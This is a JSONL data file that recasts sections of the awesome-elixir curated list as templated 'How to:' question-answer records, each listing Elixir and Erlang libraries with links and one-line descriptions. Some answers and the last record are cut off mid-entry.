{"id": "gh_aa8e29ab50e1", "question": "How to: Domain-specific language", "question_body": "About h4cc/awesome-elixir", "answer": "*Specialized computer languages for a particular application domain.*\n\n* [Absinthe Graphql](https://github.com/absinthe-graphql/absinthe) - Fully featured GraphQL library.\n* [absinthe_gen](https://github.com/sashman/absinthe_gen) - Scaffold generator for Absithne.\n* [JSON-LD.ex](https://github.com/marcelotto/jsonld-ex) - An implementation of the [JSON-LD](http://www.w3.org/TR/json-ld/) standard for [RDF.ex](https://github.com/marcelotto/rdf-ex).\n* [RDF.ex](https://github.com/marcelotto/rdf-ex) - An implementation of the [RDF](https://www.w3.org/TR/rdf11-primer/) data model in Elixir.\n* [SPARQL.ex](https://github.com/marcelotto/sparql-ex) - An implementation of the [SPARQL](http://www.w3.org/TR/sparql11-overview/) standards in Elixir.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762482"}
{"id": "gh_3b4888a38083", "question": "How to: ECMAScript", "question_body": "About h4cc/awesome-elixir", "answer": "*Implementations working with JavaScript, JScript or ActionScript.*\n\n* [elixirscript](https://github.com/elixirscript/elixirscript/) - A transcompiler from Elixir to Javascript.\n* [estree](https://github.com/bryanjos/elixir-estree) - A implementation of the SpiderMonkey Parser API in Elixir.\n* [phoenix_gon](https://github.com/khusnetdinov/phoenix_gon) - Allow you to pass Phoenix environment or controller variables to JavaScript without problems.\n* [phoenix_routes_js](https://github.com/khusnetdinov/phoenix_routes_js) - Phoenix routes helpers in JavaScript code and browser console.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762487"}
{"id": "gh_5a3935c3bfbf", "question": "How to: Embedded Systems", "question_body": "About h4cc/awesome-elixir", "answer": "*Embedded systems development.*\n\n* [nerves](http://nerves-project.org) - A framework for writing embedded software in Elixir.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762493"}
{"id": "gh_b7e3b18ee7f6", "question": "How to: Encoding and Compression", "question_body": "About h4cc/awesome-elixir", "answer": "*Transforming data in different formats or compressing it.*\n\n* [ex_rlp](https://github.com/exthereum/ex_rlp) - Elixir implementation of Ethereum's RLP (Recursive Length Prefix) encoding.\n* [huffman](https://github.com/tyre/huffman) - Huffman encoding and decoding in Elixir.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762497"}
{"id": "gh_d928bffa86d6", "question": "How to: Errors and Exception Handling", "question_body": "About h4cc/awesome-elixir", "answer": "*Working with errors and exceptions.*\n\n* [AppSignal Elixir](https://github.com/appsignal/appsignal-elixir) - The official [AppSignal](https://appsignal.com/) package for Elixir.\n* [elixir_error_message](https://github.com/MikaAK/elixir_error_message) - Simple error helpers to make errors in your system predictable and easy to render to JSON or in logs.\n* [exceptional](https://github.com/expede/exceptional) - Helpers for happy-path programming & exception handling.\n* [happy](https://github.com/vic/happy) - Happy path programming, alternative to elixir `with` form.\n* [OK](https://github.com/CrowdHailer/OK) - Elegant error handling with result monads, featuring a simple & powerful `with` construct and a happy path pipe operator.\n* [sentry-elixir](https://github.com/getsentry/sentry-elixir) - The Official Elixir client for [Sentry](https://sentry.io/).", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762503"}
{"id": "gh_8b75f0d7a5a9", "question": "How to: Eventhandling", "question_body": "About h4cc/awesome-elixir", "answer": "*Sending/Emitting and receiving/handling Events in Elixir.*\n\n* [cizen](https://gitlab.com/cizen/cizen) - Build highly concurrent, monitorable, and extensible applications with a collection of sagas.\n* [event_bus](https://github.com/mustafaturan/event_bus) - Simple event bus implementation with topic filtering and built-in event store and event watcher.\n* [goldrush](https://github.com/DeadZen/goldrush) - Small, Fast event processing and monitoring for Erlang/OTP applications.\n* [reaxive](https://github.com/alfert/reaxive) - Reaxive is a reactive event handling library, inspired by [Elm](http://elm-lang.org) and Reactive Extensions.\n* [wait_for_it](https://github.com/jvoegele/wait_for_it) - Provides convenient and easy-to-use facilities for synchronizing concurrent activities.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762510"}
{"id": "gh_e840eaa2b5fb", "question": "How to: Feature Flags and Toggles", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries to manage feature toggles (AKA feature flags): ON/OFF values that can be toggled at runtime through some interface*\n\n* [ConfigCat](https://github.com/configcat/elixir-sdk) - Elixir SDK for ConfigCat hosted feature flag service.\n* [flippant](https://github.com/sorentwo/flippant) - Feature flipping for the Elixir world.\n* [fun_with_flags](https://github.com/tompave/fun_with_flags) - A feature toggle library using Redis or Ecto for persistence, an ETS cache for speed and PubSub for distributed cache busting. Comes with a management web UI for Phoenix and Plug.\n* [molasses](https://github.com/securingsincity/molasses) - A feature toggle library using redis or SQL (using Ecto) as a backing service.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762526"}
{"id": "gh_3c986ea40da1", "question": "How to: Files and Directories", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries and implementations for working with files and directories.*\n\n* [Belt](https://bitbucket.org/pentacent/belt/) - Extensible file upload library with support for SFTP, S3 and Filesystem storage.\n* [dir_walker](https://github.com/pragdave/dir_walker) - DirWalker lazily traverses one or more directory trees, depth first, returning successive file names.\n* [elixgrep](https://github.com/bbense/elixgrep) - A framework for doing Hadoop style Map/Reduce operations on collections of files.\n* [ex_guard](https://github.com/slashmili/ex_guard) - ExGuard is a mix command to handle events on file system modifications.\n* [ex_minimatch](https://github.com/gniquil/ex_minimatch) - Globbing paths without walking the tree!.\n* [exfile](https://github.com/keichan34/exfile) - File upload handling, persistence, and processing in Elixir and Plug.\n* [exfswatch](https://github.com/falood/exfswatch) - A file change watcher wrapper based on __fs__.\n* [eye_drops](https://github.com/rkotze/eye_drops) - Configurable mix task to watch file changes and run the corresponding command.\n* [format_parser.ex](https://github.com/ahtung/format_parser.ex) - Elixir library to figure out the type and the format of a file.\n* [fs](https://github.com/synrc/fs) - Erlang FileSystem Listener.\n* [fwatch](https://github.com/ryo33/fwatch-ex) - A callback-based file watcher based on __fs__.\n* [ivcu](https://github.com/elixir-ivcu/ivcu) - File Validator, Converter, and Uploader.\n* [librex](https://github.com/ricn/librex) - Elixir library to convert office documents to other formats using LibreOffice.\n* [Radpath](https://github.com/lowks/Radpath) - Path library for Elixir, inspired by Python's Enhpath.\n* [sentix](https://github.com/whitfin/sentix) - A cross-platform file watcher for Elixir based on fswatch.\n* [sizeable](https://github.com/arvidkahl/sizeable) - An Elixir library to make file sizes human-readable.\n* [waffle](https://github.com/elixir-waffle/waffle) - Flexible file upload and attachment library for Elixir.\n* [zarex](https://github.com/ricn/zarex) - Filename sanitization for Elixir.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762533"}
{"id": "gh_c1f4e14498e2", "question": "How to: Framework Components", "question_body": "About h4cc/awesome-elixir", "answer": "*Standalone component from web development frameworks.*\n\n* [absinthe_plug](https://github.com/absinthe-graphql/absinthe_plug) - Plug support for Absinthe.\n* [access pass](https://github.com/AppDoctorIo/accesspass) - Authentication framework that can be used with or outside of phoenix. Similar to Addict but geared towards API usage.([Docs](https://hexdocs.pm/access_pass/api-reference.html#content)).\n* [addict](https://github.com/trenpixster/addict) - User authentication for Phoenix Framework.\n* [airbrake_plug](https://github.com/romul/airbrake_plug) - Report errors in your Plug stack or whatever to Airbrake.\n* [Backpex](https://github.com/naymspace/backpex) - Highly customizable administration panel for Phoenix LiveView applications. ([Docs](https://hexdocs.pm/backpex/), [Demo](https://backpex.live/)).\n* [better_params](https://github.com/sheharyarn/better_params) - Elixir Plug for cleaner request params in web apps.\n* [blaguth](https://github.com/lexmag/blaguth) - Basic Access Authentication in Plug applications.\n* [commanded](https://github.com/slashdotdash/commanded) - Command handling middleware for Command Query Responsibility Segregation (CQRS) applications.\n* [cors_plug](https://github.com/mschae/cors_plug) - An Elixir plug that adds CORS headers to requests and responds to preflight requests (OPTIONS).\n* [corsica](https://github.com/whatyouhide/corsica) - Elixir library for dealing with CORS requests.\n* [crudex](https://github.com/bitgamma/crudex) - CRUD utilities for Phoenix and Ecto.\n* [dayron](https://github.com/inaka/Dayron) - A repository _similar_ to `Ecto.Repo` that works with REST API requests instead of a database.\n* [ex_admin](https://github.com/smpallen99/ex_admin) - ExAdmin is an auto administration package for Elixir and the Phoenix Framework.\n* [exdjango](https://github.com/nicksanders/exdjango) - A few elixir libraries for working with django.\n* [exrecaptcha](https://github.com/adanselm/exrecaptcha) - Simple reCaptcha display/verify code for Elixir applications.\n* [filterable](https://github.com/omohokcoj/filterable) - Simple query params filtering for Phoenix framework inspired by Rails has_scope.\n* [graphql_parser](https://github.com/graphql-elixir/graphql_parser) - An Elixir binding for [libgraphqlparser](https://github.com/graphql/libgraphqlparser).\n* [http_router](https://github.com/sugar-framework/elixir-http-router) - HTTP Router with various macros to assist in developing your application and organizing your code.\n* [kerosene](https://github.com/elixirdrops/kerosene) - Pagination for Ecto and Phoenix.\n* [live_vue](https://github.com/Valian/live_vue) - End-to-end reactivity for Phoenix LiveView and Vue.\n* [mellon](https://github.com/sajmoon/mellon) - An authentication module for Plug applications.\n* [multiverse](https://github.com/Nebo15/multiverse) - Plug that allows to add version compatibility layers via API Request/Response Gateways.\n* [params](https://github.com/vic/params) - Use Ecto to enforce/validate parameters structure, akin to Rails' strong parameters.\n* [phoenix_ecto](https://github.com/phoenixframework/phoenix_ecto) - Phoenix and Ecto integration.\n* [phoenix_haml](https://github.com/chrismccord/phoenix_haml) - Phoenix Template Engine for Haml.\n* [phoenix_html](https://github.com/phoenixframework/phoenix_html) - Phoenix.HTML functions for working with HTML strings and templates.\n* [phoenix_html_sanitizer](https://github.com/elixirstatus/phoenix_html_sanitizer) - HTML Sanitizer integration for Phoenix.\n* [phoenix_html_simplified_helpers](https://github.com/ikeikeikeike/phoenix_html_simplified_helpers) - Some helpers for phoenix html (truncate, time_ago_in_words, number_with_delimiter).\n* [phoenix_linguist](https://github.com/jxs/phoenix_linguist) - A project that integrates Phoenix with Linguist, providing a plug and view helpers. It looks abandoned: its last commit was on 2015 and its CI runs Elixir 1.0.3.\n* [phoenix_live_reload](https://github.com/phoenixframework/phoenix_live_reload) - Provides live-reload functionality for Phoenix.\n* [phoenix_meta_tags](https://github.com/hlongvu/phoenix_meta_tags) - Generate meta tags for a website.\n* [phoenix_pubsub_postgres](https://github.com/opendrops/phoenix-pubsub-postgres) - Postgresql PubSub adapter for Phoenix apps.\n* [phoenix_pubsub_rabbitmq](https://github.com/pma/phoenix_pubsub_rabbitmq) - RabbitMQ adapter for Phoenix's PubSub layer.\n* [phoenix_pubsub_redis](https://github.com/phoenixframework/phoenix_pubsub_redis) - The Redis PubSub adapter for the Phoenix framework.\n* [phoenix_pubsub_vernemq](https://github.com/larshesel/phoenix_pubsub_vernemq) - The VerneMQ MQTT pubsub adapter for the Phoenix framework.\n* [phoenix_slime](https://github.com/slime-lang/phoenix_slime) - Slim template support for Phoenix.\n* [phoenix_storybook](https://github.com/phenixdigital/phoenix_storybook) - A pluggable storybook for your Phoenix components.\n* [phoenix_svg](https://github.com/jsonmaur/phoenix-svg) - Use inline SVGs in Phoenix.\n*", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762556"}
{"id": "gh_7cac394ce239", "question": "How to: Frameworks", "question_body": "About h4cc/awesome-elixir", "answer": "*Web development frameworks.*\n\n* [Ash Framework](https://github.com/ash-project/ash) - A declarative, resource-oriented application framework for Elixir.\n* [exelli](https://github.com/pigmej/exelli) - An Elli Elixir wrapper with some sugar syntax goodies.\n* [Flowbite](https://flowbite.com/docs/getting-started/phoenix/) - An open-source UI component library built with Tailwind CSS and compatible with Phoenix/Elixir.\n* [Hologram](https://github.com/bartblast/hologram) - Full stack Elixir web framework that intelligently transpiles Elixir client-side code to JavaScript.\n* [kitto](https://github.com/kittoframework/kitto) - A framework for interactive dashboards.\n* [n2o](https://github.com/synrc/n2o) - Distributed Application Server.\n* [nitro](https://github.com/synrc/nitro) - Nitrogen-compatible Web Framework.\n* [Petal Components](https://github.com/petalframework/petal_components) - A set of HEEX components that makes it easy for Phoenix developers to build beautiful web apps.\n* [phoenix](https://github.com/phoenixframework/phoenix) - Elixir Web Framework targeting full-featured, fault tolerant applications with realtime functionality.\n* [placid](https://github.com/slogsdon/placid) - A REST toolkit for building highly-scalable and fault-tolerant HTTP APIs with Elixir.\n* [rackla](https://github.com/AntonFagerberg/rackla) - API Gateways in Elixir.\n* [relax](https://github.com/AgilionApps/relax) - Simple Elixir implementation of a [jsonapi.org](http://jsonapi.org) server.\n* [rest](https://github.com/synrc/rest) - Micro-REST framework with typed JSON.\n* [RIG](https://github.com/Accenture/reactive-interaction-gateway) - Create low-latency, interactive user experiences for stateless microservices.\n* [sugar](https://github.com/sugar-framework/sugar) - Modular web framework for Elixir.\n* [trot](https://github.com/hexedpackets/trot) - An Elixir web micro-framework.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762565"}
{"id": "gh_70cd15ac25f2", "question": "How to: Geolocation", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries for geocoding addresses and working with latitudes and longitudes.*\n\n* [distance_api_matrix](https://github.com/C404/distance-matrix-api) - Provide distance and heading calculations via Google distance matrix api.\n* [geo](https://github.com/bryanjos/geo) - A collection of GIS functions for Elixir.\n* [geocalc](https://github.com/yltsrc/geocalc) - Calculate distance, bearing and more between latitude/longitude points.\n* [geocoder](https://github.com/knrz/geocoder) - A simple, efficient geocoder/reverse geocoder with a built-in cache.\n* [geohash](https://github.com/polmuz/elixir-geohash) - Geohash encode/decode library.\n* [geohash_nif](https://github.com/wstucco/geohash_nif/) - Drop in replacement for Geohash encode/decode library implemented as a NIF.\n* [geohax](https://github.com/evuez/geohax) - Geohash encoding and decoding with neighbors finder.\n* [geoip](https://github.com/navinpeiris/geoip) - Find geolocation for a given IP, hostname or `Plug.Conn`.\n* [geolix](https://github.com/mneudert/geolix) - MaxMind GeoIP2 database reader/decoder.\n* [geonames](https://github.com/pareeohnos/geonames-elixir) - A simple Elixir wrapper around the GeoNames API.\n* [ip2location](https://github.com/nazipov/ip2location-elixir) - An Elixir library for IP2Location database.\n* [ipgeobase](https://github.com/sergey-chechaev/elixir_ipgeobase) - Find Russian and Ukraine city by IP address and find country for other country.\n* [proj](https://github.com/CandyGumdrop/proj) - Elixir coordinate conversion library using OSGeo's PROJ.4.\n* [segseg](https://github.com/pkinney/segseg_ex) - Segment-segment intersection classifier and calculator.\n* [srtm](https://github.com/adriankumpf/srtm) - Query locations for elevation data from the NASA Shuttle Radar Topography Mission.\n* [topo](https://github.com/pkinney/topo) - A Geometry library for Elixir that calculates spatial relationships between two geometries.\n* [wheretz](https://github.com/UA3MQJ/wheretz) - Elixir version of Ruby gem for lookup of timezone by georgraphic coordinates.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762573"}
{"id": "gh_a258ba83e977", "question": "How to: Instrumenting / Monitoring", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries for collecting and exporting metrics.*\n\n* [app_optex](https://github.com/sashman/app_optex) - Client for AppOptics API. Send metrics and tags to AppOptics time series service.\n* [appsignal-elixir](https://github.com/appsignal/appsignal-elixir/) - Collects error and performance data from your Elixir applications and sends it to [AppSignal](https://appsignal.com/).\n* [elixometer](https://github.com/pinterest/elixometer) - A light Elixir wrapper around exometer.\n* [erlang-metrics](https://github.com/benoitc/erlang-metrics) - A generic interface to different metrics systems in Erlang.\n* [exometer](https://github.com/Feuerlabs/exometer) - Basic measurement objects and probe behavior in Erlang.\n* [folsom_ddb](https://github.com/dalmatinerdb/folsom_ddb) - DalmatinerDB backend to store folsom metrics.\n* [graphitex](https://github.com/msoedov/graphitex) - Graphite/Carbon client for Elixir.\n* [instream](https://github.com/mneudert/instream) - InfluxDB driver for Elixir.\n* [instrumental](https://github.com/undeadlabs/instrumental-ex) - An Elixir client for [Instrumental](https://instrumentalapp.com/).\n* [newrelic.ex](https://github.com/romul/newrelic.ex) - Collects metrics from your Elixir/Phoenix application and sends them to [NewRelic](https://newrelic.com/).\n* [prom_ex](https://github.com/akoutmos/prom_ex) - Prometheus metrics and Grafana dashboards for all of your favorite Elixir libraries.\n* [prometheus](https://github.com/deadtrickster/prometheus.erl) - [Prometheus.io](https://prometheus.io) monitoring system and time series database client in Erlang.\n* [prometheus-ecto](https://github.com/deadtrickster/prometheus-ecto) - Ecto instrumenter for prometheus.ex.\n* [prometheus-phoenix](https://github.com/deadtrickster/prometheus-phoenix) - Phoenix instrumenter for prometheus.ex.\n* [prometheus-plugs](https://github.com/deadtrickster/prometheus-plugs) - Plugs instrumenters/exporter for prometheus.ex.\n* [prometheus.ex](https://github.com/deadtrickster/prometheus.ex) - Elixir-friendly [Prometheus.io](https://prometheus.io) monitoring system and time series database client.\n* [prometheus_process_collector](https://github.com/deadtrickster/prometheus_process_collector) - Prometheus collector which exports the current state of process metrics including cpu, memory, file descriptor usage and native threads count as well as the process start and up times.\n* [spandex](https://github.com/spandex-project/spandex) - Platform agnostic tracing library originally developed for Datadog APM.\n* [telemetry](https://github.com/beam-telemetry/telemetry) - Dynamic dispatching library for metrics and instrumentations.\n* [wobserver](https://github.com/shinyscorpion/wobserver) - Web based metrics, monitoring, and observer.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762588"}
{"id": "gh_99330ddae6be", "question": "How to: Lexical analysis", "question_body": "About h4cc/awesome-elixir", "answer": "*All about lexical analyser, lexer, scanner, tokenizer or compiler.*\n\n* [abnf_parsec](https://github.com/princemaple/abnf_parsec) - ABNF in and parser out.\n* [ex_abnf](https://github.com/marcelog/ex_abnf) - Parser for ABNF Grammars in Elixir.\n* [lex_luthor](https://github.com/jamesotron/lex_luthor) - LexLuthor is a Lexer in Elixir which uses macros to generate a reusable lexers.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762595"}
{"id": "gh_cc3d95d31dc2", "question": "How to: Miscellaneous", "question_body": "About h4cc/awesome-elixir", "answer": "*Useful libraries or tools that don't fit in the categories above.*\n\n* [address_us](https://github.com/smashedtoatoms/address_us) - Library for parsing US Addresses into their individual parts.\n* [AlloyCI](https://github.com/AlloyCI/alloy_ci) - AlloyCI is a Continuous Integration, Deployment, and Delivery coordinator, written in Elixir, that takes advantage of the GitLab CI Runner, and its capabilities as executor, to prepare and run your pipelines.\n* [Apex](https://github.com/bjro/apex) - Awesome Print for Elixir.\n* [AtomVM](https://github.com/bettio/AtomVM) - AtomVM allows to run Elixir/Erlang code on embedded devices such as ESP32 and STM32 microcontrollers.\n* [bupe](https://github.com/milmazz/bupe) - EPUB Generator and Parser.\n* [charm](https://github.com/tomgco/elixir-charm) - Use ANSI terminal characters to write colors and cursor positions.\n* [codec-beam](https://github.com/hkgumbs/codec-beam) - Generate Erlang VM byte code from Haskell.\n* [Countries](https://github.com/SebastianSzturo/countries) - Countries is a collection of all sorts of useful information for every country in the ISO 3166 standard.\n* [countriex](https://github.com/navinpeiris/countriex) - A pure elixir country data provider containing various information for every country in ISO 3166.\n* [cubdb](https://github.com/lucaong/cubdb) - CubDB is an embedded key-value database, written in the Elixir language. It runs locally, it is schema-less, and backed by a single file.\n* [dye](https://github.com/Kabie/dye) - A library for dyeing your terminal output.\n* [dynamic_compile](https://github.com/okeuday/dynamic_compile) - Compile and load Erlang modules from string input.\n* [ecto_autoslug_field](https://github.com/sobolevn/ecto_autoslug_field) - Automatically creates slugs for your Ecto models.\n* [egaugex](https://github.com/Brightergy/egaugex) - Client to fetch and parse realtime data from egauge devices.\n* [elixir-browser](https://github.com/tuvistavie/elixir-browser) - Browser detection for Elixir.\n* [epub_cover_extractor](https://github.com/zelazna/epub_cover_extractor) - Extract cover from EPUB files.\n* [erlang_term](https://github.com/okeuday/erlang_term) - Provide the in-memory size of Erlang terms, ignoring where these are stored.\n* [ex2ms](https://github.com/ericmj/ex2ms) - Translates Elixir functions to match specifications for use with `ets`.\n* [ex_azure_speech](https://github.com/ex-azure/ex_azure_speech) - An Elixir SDK implementation for the Microsoft Azure Speech Service.\n* [ex_phone_number](https://github.com/socialpaymentsbv/ex_phone_number) - Format, normalize, and validate phone numbers.\n* [ex_rated](https://github.com/grempe/ex_rated) - Simple and flexible rate-limiting for API's or anything.\n* [exfcm](https://github.com/Hajto/ExFCM) - Simple wrapper for posting Firebase Cloud Messages.\n* [exisbn](https://github.com/solar05/exisbn) - ISBN validation and formatting library.\n* [exldap](https://github.com/jmerriweather/exldap) - A module for working with LDAP from Elixir.\n* [exlibris](https://github.com/pragdave/exlibris) - A collection of random library functions.\n* [expool](https://github.com/whitfin/expool) - A small process pooling library for parallel tasks in Elixir.\n* [exprint](https://github.com/parroty/exprintf) - A printf / sprintf library for Elixir, works as a wrapper for :io.format.\n* [expyplot](https://github.com/MaxStrange/expyplot) - Elixir interface for Plotting/Graphing library using matplotlib.pyplot.\n* [exquisite](https://github.com/meh/exquisite) - LINQ-like match_spec generation for Elixir.\n* [exsync](https://github.com/falood/exsync) - Yet another Elixir reloader.\n* [funnel](https://github.com/chatgris/funnel) - Streaming Elixir API built upon ElasticSearch's percolation.\n* [gen_task](https://github.com/Nebo15/gen_task) - Generic Task behavior that helps to encapsulate worker errors and recover from them in classic GenStage's.\n* [gimei_ex](https://github.com/ma2gedev/gimei_ex) - Elixir port of gimei library.\n* [growl](https://github.com/zachallett/growl) - Simple wrapper for growl, the notification system for OSX.\n* [hammer](https://github.com/ExHammer/hammer) - A rate-limiter with pluggable storage backends, including Redis.\n* [html_entities](https://github.com/martinsvalin/html_entities) - Elixir module for decoding HTML entities in a string.\n* [huex](https://github.com/xavier/huex) - Elixir client for Philips Hue connected light bulbs.\n* [indicado](https://github.com/thisiscetin/indicado) - Technical indicator library for Elixir with no dependencies.\n* [japan_municipality_key](https://github.com/hykw/japan_municipality_key) - Elixir Library for Japan municipality key converting.\n* [Jisho-Elixir](https://github.com/nbw/jisho_elixir) - An API wrapper for Jisho.org, an online Japanese dictionary. Allows users to search by word, symbol, and or tags (refer to docs).\n* [keys1value](https://github.com/okeuday/keys1value) - Erlang set associative map for key lists.\n* [licensir](https://github.com/unnawut/li", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762614"}
{"id": "gh_7ef0ce94673b", "question": "How to: Native Implemented Functions", "question_body": "About h4cc/awesome-elixir", "answer": "*Tools and libraries working with Erlang NIF.*\n\n* [hsnif](https://github.com/urbanserj/hsnif) - Tool that allows to write Erlang NIF libraries in Haskell.\n* [nifty](https://github.com/rossjones/nifty) - Helper script for setting up the boilerplate required when writing a NIF.\n* [Rustler](https://github.com/hansihe/Rustler) - Library for writing NIFs for Erlang or Elixir safely in Rust. No segfaults.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762620"}
{"id": "gh_e0dd078afc5c", "question": "How to: Natural Language Processing (NLP)", "question_body": "About h4cc/awesome-elixir", "answer": "*Tools and libraries that work with human (natural) languages.*\n\n* [gibran](https://github.com/abitdodgy/gibran) - Gibran is an Elixir port of [WordsCounted](https://github.com/abitdodgy/words_counted), a natural language processor that extracts useful statistics from text.\n* [Paasaa](https://github.com/minibikini/paasaa) - Natural language detection for Elixir.\n* [Petrovich](https://github.com/petrovich/petrovich_elixir) - Elixir library to inflect Russian first, last, and middle names.\n* [Tongue](https://github.com/dannote/tongue) - Elixir port of Nakatani Shuyo's natural language detector.\n* [Woolly](https://github.com/pjhampton/woolly) - Woolly is an ambitious Text Mining and Natural Language Processing API for Elixir.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762625"}
{"id": "gh_976fcb6663da", "question": "How to: Networking", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries and tools for using network related stuff.*\n\n* [asn](https://github.com/ephe-meral/asn) - Can be used to map from IP to AS to ASN.\n* [chatter](https://github.com/dbeck/chatter_ex) - Secure message broadcasting based on a mixture of UDP multicast and TCP.\n* [download](https://github.com/asiniy/download) - Download files from the internet easily.\n* [eio](https://github.com/falood/eio) - Elixir server of engine.io.\n* [ExPcap](https://github.com/cobenian/expcap) - PCAP parser written in Elixir.\n* [Firezone](https://github.com/firezone/firezone) - Open-source VPN server and egress firewall for Linux built on WireGuard. Firezone is easy to set up (all dependencies are bundled thanks to Chef Omnibus), secure, performant, and self hostable.\n* [FlyingDdns](https://gitlab.com/timopallach/FlyingDdns) - A dyndns server written in elixir.\n* [hades](https://github.com/fklement/hades) - A wrapper for NMAP written in Elixir.\n* [mac](https://github.com/ephe-meral/mac) - Can be used to find a vendor of a MAC given in hexadecimal string (according to IEEE).\n* [pool](https://github.com/slogsdon/pool) - Socket acceptor pool for Elixir.\n* [reagent](https://github.com/meh/reagent) - reagent is a socket acceptor pool for Elixir.\n* [sise](https://github.com/aytchell/sise) - A simple to use SSDP client.\n* [sockerl](https://github.com/Pouriya-Jahanbakhsh/sockerl) - Sockerl is an advanced Erlang/Elixir socket library for TCP protocols and provides fast, useful and easy-to-use API for implementing servers, clients and client connection pools.\n* [socket](https://github.com/meh/elixir-socket) - Socket wrapping for Elixir.\n* [sshkit](https://github.com/bitcrowd/sshkit.ex) - An Elixir toolkit for performing tasks on one or more servers, built on top of Erlang’s SSH application.\n* [torex](https://github.com/alexfilatov/torex) - Simple Tor connection library.\n* [tunnerl](https://github.com/surik/tunnerl) - SOCKS4 and SOCKS5 proxy server.\n* [wifi](https://github.com/gausby/wifi) - Various utility functions for working with the local Wifi network in Elixir.\n* [wpa_supplicant](https://github.com/fhunleth/wpa_supplicant.ex) - Elixir interface to the wpa_supplicant.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762636"}
{"id": "gh_3c86126bf7a7", "question": "How to: ORM and Datamapping", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries that implement object-relational mapping or datamapping techniques.*\n\n* [amnesia](https://github.com/meh/amnesia) - Mnesia wrapper for Elixir.\n* [arbor](https://github.com/coryodaniel/arbor) - Ecto adjacency list and tree traversal.\n* [arc_ecto](https://github.com/stavro/arc_ecto) - Arc.Ecto provides an integration with Arc and Ecto.\n* [atlas](https://github.com/chrismccord/atlas) - Object Relational Mapper for Elixir.\n* [barrel_ex](https://github.com/jxub/barrel_ex) - [Barrel-db](https://barrel-db.org/) distributed document-oriented database REST client in Elixir.\n* [Bolt.Sips](https://github.com/florinpatrascu/bolt_sips) - Neo4j driver for Elixir using the Bolt protocol.\n* [boltun](https://github.com/bitgamma/boltun) - Transforms notifications from the Postgres LISTEN/NOTIFY mechanism into callback execution.\n* [caylir](https://github.com/mneudert/caylir) - Cayley driver for Elixir.\n* [comeonin_ecto_password](https://github.com/vic/comeonin_ecto_password) - Ecto custom type for storing encrypted password using Comeonin.\n* [couchdb_connector](https://github.com/locolupo/couchdb_connector) - A connector for CouchDB, the Erlang-based, JSON document database.\n* 